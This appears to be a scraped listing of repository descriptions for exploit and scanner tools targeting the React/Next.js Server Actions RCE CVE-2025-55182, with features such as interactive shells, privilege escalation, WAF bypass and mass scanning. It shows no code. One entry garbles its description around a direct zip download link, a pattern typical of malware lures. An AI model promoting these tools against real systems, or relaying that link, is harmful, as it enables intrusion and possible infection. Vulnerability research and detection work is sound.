CVE-2025-55182-exp

CVE-2025-55182-exp 🔥 概要 CVE-2025-55182 は、Server Actions を使用する App Router を採用した Next.js アプリケーションに影響を及ぼす、React Server Components（RSC）における重大なリモートコード実行（RCE）脆弱性です。 この脆弱性は Flight プロトコルの逆シリアル化プロセスに存在し、攻撃者がプロトタイプ汚染（prototype pollution）を通じて任意のコード実行を達成することを可能にします。 ⚠️ 免責事項 / 免責声明 認可されたセキュリティテスト専用...

CVE-2025-55182

CVE-2025-55182 このリポジトリには、React Server Components（RSC）における未認証の任意コード実行を可能にする重大なセキュリティ脆弱性 CVE-2025-55182 のPoC再現が含まれています。 説明 この脆弱性は、React Server Componentsがクライアントリクエストから「Server Actions」をデシリアライズする方法に存在します。具体的には、requireModule 関数が、要求されたエクスポート名がモジュールの直接のプロパティであることを検証できていませんでした。これにより、攻撃者はエクスポートされた関数の...

react2shell_analyzer

React2Shell Analyzer 강력한 HTTP 프록시 분석기입니다. 브라우저/PoC와 Next.js 서버 간의 Next.js Server Actions 트래픽을 검사합니다. GitHub 저장소 https://github.com/Benrich127N/react2shellanalyzer.git 기능 🔍 헤더 검사 : 모든 요청 및 응답 헤더를 기록합니다. 📦 멀티파트 분석 : 멀티파트 폼 섹션을 파싱하고 표시합니다. ⚠️ 패턴 탐지 : 의심스러운 패턴을 식별합니다: React Flight 토큰 $@, $K: 프로토타입 오염...

React2Shell-Toolbox

React2Shell Toolbox Electron + Vue 3 で構築されたセキュリティテストツールキットです。React Server Actions の脆弱性検出と悪用に特化しています。 中文文档 | English 概要 React2Shell Toolbox は、Next.js React Server Actions のプロトタイプ汚染脆弱性（CVE-2025-55182）向けに設計されたセキュリティテストツールです。POC 検証、仮想ターミナル操作、FOFA アセット検索、高度なルートハイジャック機能などを備えたユーザーフレンドリーな GUI を提供します。...

React2Shell

⚛️ React2Shell CVE-2025-55182 Next.js Server Actions（CVE-2025-55182）向け高度エクスプロイトツールキット。 React2Shell は、React2Shell の脆弱性を悪用するために設計された、強力な対話型シェルラッパーです。単純な RCE を超え、コマンド履歴、ファイル転送機能、自動化された権限昇格戦略を提供します。 🚀 特徴 単一ファイル実行可能 : エクスプロイトロジックとシェルインターフェースを1つのスクリプトに統合。外部依存関係ゼロ。 対話型シェル : コマンド履歴を備えた完全な擬似ターミナル体験。 自動ルート昇...

react-cve-2025-55182

CVE-2025-55182: React/Next.js テスト プロジェクトステータス: 実験的 / 概念実証 このリポジトリは、CVE-2025-55182 を分析するための管理された研究環境および概念実証 PoC フレームワークとして機能します。Next.js Server Actions のコンテキストにおける プロトタイプ汚染 の脆弱性を実証しており、特に安全でない再帰的なマージ操作を標的としています。 概要 中核となる脆弱性は、Next.js Server Action syncConfiguration 内に実装されたカスタムの deepMerge...

CVE-2025-55182-Exploit

CVE-2025-55182 — Next.js Flight デシリアライゼーション RCE Next.js Server Actions（Flight）のデシリアライゼーション脆弱性に対するリモートコード実行エクスプロイト 📌 概要 このリポジトリには、Next.js Flight プロトコル （Server Actions）のデシリアライゼーション脆弱性である CVE-2025-55182 の動作するエクスプロイトが含まれています。悪意のある Flight チャンクを細工することで、認証されていない攻撃者は proto チェーン（then / constructor...

CVE-2025-55182-Exploit-PoC-Scanner

CVE-2025-55182 - React Server Components RCE 익스플로잇 v2.0 CVE-2025-55182 및 CVE-2025-66478 취약점을 React Server ComponentsRSC 및 Next.js Server Actions에서 테스트하기 위한 포괄적인 보안 연구 도구입니다. 취약점 개요 속성| 값 ---|--- CVE ID| CVE-2025-55182, CVE-2025-66478 CVSS 점수| 10.0 CRITICAL 영향받는 버전| React 19.2.0, Next.js 15.0.5 취약...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - コマンドを簡単かつ安全に実行 🚀 概要 CVE-2025-55182 は、https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip および React Server Components における脆弱性です。この問題により、React Server Actions...

react2shell

React2Shell React Server Components / Server Actions의 프로토타입 오염 취약점CVE-2025-55182 및 CVE-2025-66478을 악용하여 취약한 서버에서 원격 코드 실행RCE을 가능하게 하는 CLI 도구입니다. 원본 PoC : https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc 경고: 이 도구는 현재 야생에서 적극적으로 악용되고 있는 심각한 취약점CVSS 10.0을 대상으로 합니다. 소유한 시스템이나 명시적...

React2Shell

React2Shell – 고급 발견 및 익스플로잇 프레임워크 Next.js 애플리케이션에 영향을 미치는 CVE-2025-55182 및 CVE-2025-66478 을 위한 고급 React Server Components RSC 취약점 스캐너 및 익스플로이터 입니다. 이 도구는 원본 React2Shell 연구 및 개념 증명을 확장하여 자동화된 익스플로잇, WAF 우회 기법, Windows 지원, 멀티스레드 스캐닝, 운영 수준의 신뢰성 을 도입합니다. 🚀 개요 react2shell.py는 React2Shell 탐지 방법론의 고급 발...

CVE-2025-55182-poc

CVE-2025-55182-poc CVE-2025-55182 の概念実証（PoC）エクスプロイトです。Next.js Server Actions の認証不要のリモートコード実行（RCE）脆弱性を標的としています。 このエクスプロイトは、React Server Components（RSC）のマルチパートペイロードの逆シリアル化中にプロトタイプ汚染を悪用し、非同期・非ブロッキングの実行フローを使用して Node.js プロセスに悪意のあるコマンドを注入します。 特徴 非同期実行 : ブロッキングする execSync API の代わりに childprocess.exec...

CVE-2025-55182-TOOLS

CVE-2025-55182 エクスプロイトツール CVE-2025-55182 総合エクスプロイト/検出ツール 開発:MingYi Security Lab 特徴 脆弱性検出 : 複数のターゲットを一括スキャンして脆弱性を検出 パススキャン : 一般的なServer Actionエンドポイントをスキャンし、脆弱なパスを発見 リモートコード実行 : 脆弱性のあるターゲットでシステムコマンドを実行 複数のエクスプロイト手法 : V1: vmrunInThisContext - 古典的なRCE手法 V2: $@ Chunk.prototype.then - Next.js...

r2s

React2Shell R2S - CVE-2025-55182 テストツール CVE-2025-55182 脆弱性評価のための高度なエクスプロイトテストツール 機能 • インストール • 使い方 • テスト環境 • 法的免責事項 📖 R2Sとは？ R2S React2Shell は、セキュリティ研究者、開発者、ペネトレーションテスターがNext.jsアプリケーションがCVE-2025-55182 に対して脆弱かどうかを評価できるように設計されたセキュリティテストツールです。 CVE-2025-55182 について CVE-2025-55182...

CVE-2025-55182-Auto-Scanner

CVE-2025-55182 Scanner は、脆弱な Next.js Server Action エンドポイントを検出するための高性能ツールです。 マルチスレッドスキャン、信頼度ベースの検出、複数のレスポンス指標を使用して、潜在的なリモートコード実行 RCE の脆弱性を識別します。 機能 高速な並行スキャン 信頼度ベースの脆弱性スコアリング WAFバイパスペイロード生成 ヘッダー＆レスポンスパターン解析 リアルタイム進捗追跡 脆弱性対象の自動保存 動作の仕組み スキャナーは以下の手順を実行します： 1. ファイルからターゲットURLを読み込む 2. 特別に作成したペイロードを生成する...

rust-cve-2025-55182-scanner

CVE-2025-55182 スキャナー Rust Rustで書かれた高性能で並行処理可能な脆弱性スキャナーです。複数のターゲットに対して CVE-2025-55182（Next.js Server Actions RCE） を検出します。 🚀 機能 ⚡ 高性能なRust実装 🧵 マルチスレッドスキャンエンジン ⏱ 調整可能なタイムアウト & リトライシステム 📄 複数ターゲットの一括スキャン対応 📊 JSON + テキスト出力レポート 🧠 高速かつ軽量な実行 🔌 オプションのプロキシサポート 🛡 セキュリティ研究向けに設計 📦 インストール 1. リポジトリのクローン git clon...

CVE-2025-55183

CVE-2025-55183 React Server Functions 소스 코드 노출 취약점 스캐너. 이게 무엇인가요? CVE-2025-55183: React 19.0.0-19.2.1의 Server Actions를 악용하여 전체 소스 코드하드코딩된 비밀, API 키, 데이터베이스 자격 증명 포함를 노출시킬 수 있습니다. 참조: https://github.com/facebook/react/commit/894bc73cb493487c48d57f4508e6278db58e673a...

CVE-2025-55182

🚨 NextRce — CVE-2025-55182 Next.js / React Server Components RCE NextRce は、React Server Components RSC と Server Actions を使用する Next.js App Router アプリケーションにおける重大な脆弱性 CVE-2025-55182 を実証するセキュリティ研究ツールです。 この脆弱性により、攻撃者は Next.js が Server Action のレスポンス を処理し、サーバー上でシリアライズされた RSC...

cve-2025-66478_rce_vulnerable

shadcn/ui を使ったモダンブログ Next.js 16、React 19、shadcn/ui、Tailwind CSS で構築された、モダンでエレガントなブログです。 重要： 教育、テスト、および悪用を目的としてのみ作成された脆弱性のある Next JS プロジェクトです。本番環境へのインストールは推奨されません。ローカル環境または管理された環境のみを対象としています。 PoC POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64...

react2shell-poc-CVE-2025-55182

React2Shell PoC CVE-2025-55182 Server Actionsを使用するNext.jsアプリケーションに影響を与える重大なリモートコード実行（RCE）脆弱性であるReact2Shell （CVE-2025-55182）の概念実証（PoC）スクリプトです。 !WARNING 免責事項 : このツールは教育目的および許可されたテスト目的のみで使用してください。誤用に関する責任は負いません。 説明 このスクリプトは、React Server...